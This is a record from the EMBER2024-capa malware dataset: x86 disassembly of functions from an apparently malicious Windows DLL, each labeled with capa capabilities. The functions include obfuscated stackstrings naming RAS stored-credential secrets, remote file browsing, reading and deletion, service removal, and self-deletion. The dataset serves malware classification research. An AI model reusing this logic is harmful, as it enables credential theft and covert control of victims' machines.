joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100056b6
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, 0x100
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x10005709
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x110]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x10005709
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x1000570d
xor eax, eax
leave
ret
push esi
push 0x1000161c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 0x10001604
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10005738
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x110]
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x1000592e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
and byte [ebp - 2], 0
and byte [ebp - 0x16], 0
push esi
push edi
mov esi, ecx
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x21
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x23
mov byte [ebp - 3], 0x30
mov byte [ebp - 0x30], 0x4c
mov byte [ebp - 0x2f], 0x24
mov byte [ebp - 0x2e], 0x5f
mov byte [ebp - 0x2d], 0x52
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x44
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x75
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x43
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x23
mov byte [ebp - 0x17], 0x30
call fcn.100056b6
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x130]
mov ecx, esi
push eax
call fcn.10005791
mov edi, eax
test edi, edi
je 0x10005a37
mov ax, word [edi]
mov ecx, esi
push eax
push dword [edi + 4]
call fcn.100057fb
push dword [edi + 4]
call sub.ADVAPI32.dll_LsaFreeMemory
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.10005791
mov edi, eax
test edi, edi
je 0x10005a5e
mov ax, word [edi]
mov ecx, esi
push eax
push dword [edi + 4]
call fcn.100057fb
push dword [edi + 4]
call sub.ADVAPI32.dll_LsaFreeMemory
pop edi
pop esi
leave
ret
Function at 0x10006165
Capabilities:
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003250
push 0x10013c5a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100062a9
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x1000620d
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x1000620d
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100061e8
cmp al, 0x5c
je 0x100061e8
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100061d0
cmp byte [esi], 0
je 0x100061f1
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10006206
cmp al, 0x5c
je 0x10006206
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100061ee
cmp byte [esi], 0
je 0x1000622c
jmp 0x10006228
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x1000622c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000622c
cmp al, 0x5c
jne 0x1000622c
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x10006289
cmp al, 0x5c
jne 0x1000627b
and byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x10006264
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10006278
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x10006269
and eax, 0x10
cmp al, 0x10
je 0x10006278
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x100062ad
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x1000622f
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x100062af
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100062c0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
mov esi, 0x104
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x160]
push ebx
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, ebx
je 0x10006382
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push ebx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10006382
lea eax, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push eax
lea eax, [ebp - 0x160]
push eax
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
lea eax, [ebp - 0x354]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push 0x10001670
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push ebx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10006389
xor al, al
jmp 0x10006454
push esi
lea eax, [ebp - 0x160]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 0x160]
push eax
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x160]
push 0x1000166c
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
cmp eax, ebx
pop ecx
jne 0x10006407
lea eax, [ebp - 0x160]
push 0x10001668
push eax
call edi
pop ecx
cmp eax, ebx
pop ecx
jne 0x10006407
lea eax, [ebp - 0x160]
push 0x10001664
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call esi
jmp 0x10006411
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x4c], 0x44
je 0x1000642e
mov dword [ebp - 0x44], 0x1000165c
push 0x10001650
push dword [ebp - 0x44]
call esi
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x160]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000645b
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x100014f4
push 0x100016a4
mov dword [ebp - 0x2c], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10001694
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x10001688
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x634], 0x67
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x234]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
nop
nop
nop
nop
nop
nop
xor ebx, ebx
push 1
cmp byte [ebp - 0x234], bl
lea edi, [ebp - 0x234]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
pop esi
je 0x1000662d
push 0x104
lea eax, [ebp - 0x134]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x134]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [ebp - 0x30]
push 0x410
lea eax, [ebp - 0x794]
push 0x160
push eax
push 0x80
push edi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x684]
push eax
call dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x134]
push eax
call dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x24], eax
mov al, byte [edi]
cmp al, 0x41
je 0x10006599
cmp al, 0x42
je 0x10006599
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10006599
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 0x14
pop ecx
call fcn.10013c60
mov edx, dword [ebp - 0xc]
push 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
pop ecx
call fcn.10013c60
mov dword [ebp - 4], eax
jmp 0x1000659f
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov al, byte [edi]
push edi
mov byte [ebp + esi - 0x634], al
call dword [ebp - 0x28]
mov byte [ebp + esi - 0x633], al
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + esi - 0x632]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + esi - 0x62e]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0x20]
lea eax, [ebp - 0x684]
push eax
lea eax, [ebp + esi - 0x62a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0x24]
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x20]
add eax, esi
lea eax, [ebp + eax - 0x62a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
add esp, 0x30
add eax, ecx
push edi
lea esi, [esi + eax + 0xa]
call dword [ebp - 0x1c]
cmp byte [edi + eax + 1], bl
lea edi, [edi + eax + 1]
jne 0x100064f4
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x634]
push esi
push eax
call fcn.1000a327
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006642
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push esi
mov eax, 0x2800
push edi
mov esi, ecx
push eax
push 0x40
and dword [esi + 0x1c], 0
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x100016cc
mov edi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x24c]
push 0x100016c4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100066b8
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x68
call fcn.1000a327
jmp 0x100067bb
push ebx
push 1
mov byte [edi], 0x68
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffdf8
cmp esi, eax
jbe 0x100066e0
add dword [ebp - 4], 0x208
push 0x42
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edi, eax
lea eax, [ebp - 0x11c]
push 0x100016c0
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10006784
lea eax, [ebp - 0x11c]
push 0x100016bc
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10006784
mov al, byte [ebp - 0x148]
and al, 0x10
mov byte [esi + edi], al
lea eax, [ebp - 0x11c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esi, ebx
lea eax, [ebp - 0x12c]
push 4
push eax
and byte [esi + edi], 0
inc esi
lea ebx, [esi + edi]
push ebx
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x128]
push 4
add ebx, 4
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esi, 8
lea eax, [ebp - 0x134]
push 8
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
add esi, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100066bf
mov ecx, dword [ebp - 8]
push esi
push edi
call fcn.1000a327
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x100067c1
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x100016cc
push ebx
lea eax, [ebp - 0x450]
push 0x100016c4
mov dword [ebp - 4], ecx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10006812
xor al, al
jmp 0x10006893
push edi
mov edi, 0x10001558
cmp byte [ebp - 0x118], 0x2e
je 0x10006869
test byte [ebp - 0x144], 0x10
lea eax, [ebp - 0x118]
push eax
push ebx
push edi
je 0x10006850
lea eax, [ebp - 0x248]
push eax
call esi
mov ecx, dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.100067c1
jmp 0x10006869
lea eax, [ebp - 0x34c]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x144]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006818
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10006899
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x20]
push 0x104
push edi
push esi
mov dword [ebp - 0xc], ecx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100068e5
xor eax, eax
jmp 0x1000695d
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
push esi
call fcn.1000a327
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10006963
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x10006982
call fcn.10006a26
xor eax, eax
jmp 0x10006a1f
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10006a1f
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x10006a0d
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.1000a327
mov dword [ebp - 4], eax
jmp 0x10006a15
mov ecx, dword [ebp - 4]
call fcn.10006a26
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10006b26
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x100141dd
call fcn.10013bc0
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x370]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x100016e4
jne 0x10006b6f
mov dword [ebp - 0x10], 0x100150a8
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x100016dc
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x10006bad
xor al, al
jmp 0x10006c79
push edi
mov edi, 0x100016d4
cmp byte [ebp - 0x13c], 0x2e
je 0x10006c55
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x10006bf3
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.10006b26
jmp 0x10006c55
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10006fe7
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006bb3
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x10006e46
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.1000a327
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10007092
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003260
push 0x10013c5a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x13c], eax
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp dword [ebp - 0x13c], edi
jne 0x10007103
cmp esi, edi
je 0x10007185
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10007185
cmp dword [ebp - 0x134], 1
je 0x1000713d
lea eax, [ebp - 0x138]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10007185
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x400
push edi
lea eax, [ebp - 0x53c]
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push 0x100016e8
push 0x100016c4
lea eax, [ebp - 0x53c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x53c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
or dword [ebp - 4], 0xffffffff
call fcn.100071a5
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100071c5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push ebx
push esi
push edi
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x104]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x504]
push 0x100016e8
push 0x100016c4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x104]
push ebx
push eax
mov edi, 0x1000170c
push 1
lea eax, [ebp - 0x504]
push edi
mov esi, reloc.WS2_32.dll_bind
push eax
push esi
call fcn.1000a3d8
push 3
push ebx
push ebx
push 1
lea eax, [ebp - 0x504]
push edi
push eax
push esi
call fcn.1000a7e6
add esp, 0x3c
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000726c
inc ebx
cmp ebx, 0x19
jl 0x1000724a
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100072c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x1000730a
xor eax, eax
jmp 0x10007360
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.10007271
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x1000735e
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x10007306
add eax, ebx
pop edi
pop ebx
leave
ret